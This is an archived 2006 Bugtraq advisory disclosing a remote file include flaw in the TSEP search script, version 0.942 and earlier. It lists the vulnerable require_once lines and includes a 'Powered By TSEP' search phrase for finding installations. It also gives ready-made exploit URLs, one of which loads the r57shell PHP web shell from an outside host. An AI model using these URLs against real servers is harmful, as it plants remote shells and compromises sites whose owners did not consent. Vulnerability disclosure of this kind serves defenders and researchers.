bugtraq - TSEP <= 0.942 Remote File Include

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 2 Aug 2006 17:56:41 -0500
From: beford <xbefordx@...il.com>
To: submit@...w0rm.com, bugs@...uritytracker.com,
	bugtraq@...urityfocus.com
Subject: TSEP <= 0.942 Remote File Include

Script: TSEP <= 0.942
URL:  www.tsep.info
Discovered: beford <xbefordx gmail com>
Comments: "register_globals" must be enabled duh.
document.this != http://www.milw0rm.com/exploits/2098
Vulnerable Files/Code:

./tsep.0942/include/colorswitch.php?tsep_config[absPath]=http://rst.void.ru/download/r57shell.txt?
./tsep.0942/include/printpagedetails.php => require_once(
$tsep_config["absPath"]."/include/convert_htmlent.php" );
./tsep.0942/include/ipfunctions.php => require_once(
$tsep_config["absPath"]."/include/IPv6.php" );
./tsep.0942/include/contentimages.class.php => require_once(
$tsep_config["absPath"]."/include/contentimages.class.php" );
./tsep.0942/include/configfunctions.php => require_once(
$tsep_config["absPath"]."/include/mmexfunctions.php" );
./tsep.0942/include/log.class.php => require_once(
$tsep_config["absPath"]."/include/tseptrace.php" );

Not-leet-enough: "Powered By TSEP"

POC:
http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http://remotefile/?